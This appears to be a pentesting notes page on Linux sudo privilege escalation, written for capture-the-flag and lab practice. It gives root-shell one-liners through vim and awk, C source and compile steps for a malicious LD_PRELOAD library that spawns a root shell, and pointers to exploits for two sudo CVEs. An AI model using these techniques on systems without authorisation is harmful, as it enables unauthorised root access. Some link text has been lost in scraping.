CSbyGB - Pentips
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On this page
  • Sudo Shell Escaping
  • Vim
  • awk
  • Intended Functionality
  • Example with Apache2
  • Example with wget
  • LD_PRELOAD
  • CVE-2019-14287
  • CVE-2019-18634
  • Resources
  1. Linux
  2. Privilege Escalation

Sudo

PreviousPassword and file permissionNextSUID

Last updated 3 years ago

Sudo Shell Escaping

  • sudo -l will show us commands delegated to our user. See example of possible output below

  • With the result of the command we can then check out on for comprehensive ways to escalate

Vim

  • the section of interest for us here is the following one:

  • Let's try this command sudo vim -c ':!/bin/sh'

  • It works right away

awk

  • the section of interest for us here is the following one:

  • So let's try this sudo awk 'BEGIN {system("/bin/sh")}'

  • It works

Intended Functionality

Example with Apache2

  • sudo -l we should see this: (root) NOPASSWD: /usr/sbin/apache2

  • Note: There are no entry on GTFOBins about apache2 but Google can do the trick ;) We could type something like "sudo apache2 privilege escalation"

Example with wget

LD_PRELOAD

  • sudo -l we should see something like this env_keep+=LD_PRELOAD

  • We are going to preload a user specific share library before any other share libraries

  • We need to write our malicious library that will privesc for us by changing our gid and uid to 0 (root). We put this code in a file named x.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
  • now we need to compile our library with gcc gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles

  • And now we need to set it as our user's preloaded library sudo LD_PRELOAD=/tmp/x.so apache2

CVE-2019-14287

  • This vulnerability allows us to change our user id, we need to have some sudo rights delegated to us this works very well with right on /bin/bash

CVE-2019-18634

  • This one is a buffer overflow

  • If we see that we have password feedback on (we can try any sudo command to check for this), it means that the option pwfeedback is turned on in /etc/sudoers and that makes it vulnerable to buffer overflow

Resources

Then we find an that mentions this command to let us view system files.

See an example with wget on veteransec's writeup of the HTB box called sunday.

We should be root

Checkout a writeup of an example of exploitation

We basically just need to run the provided exploit. Pour pratice on this check out on trhyhackme

article
here
CVE-2019-14287 on exploit-db
here
CVE-2019-18634 exploit by saleemrashid
this box
GTFOBins
Vim on Gtfobins
Awk on GTFOBins
Linux Privilege Escalation
Linux Privesc on TCM-Security Academy
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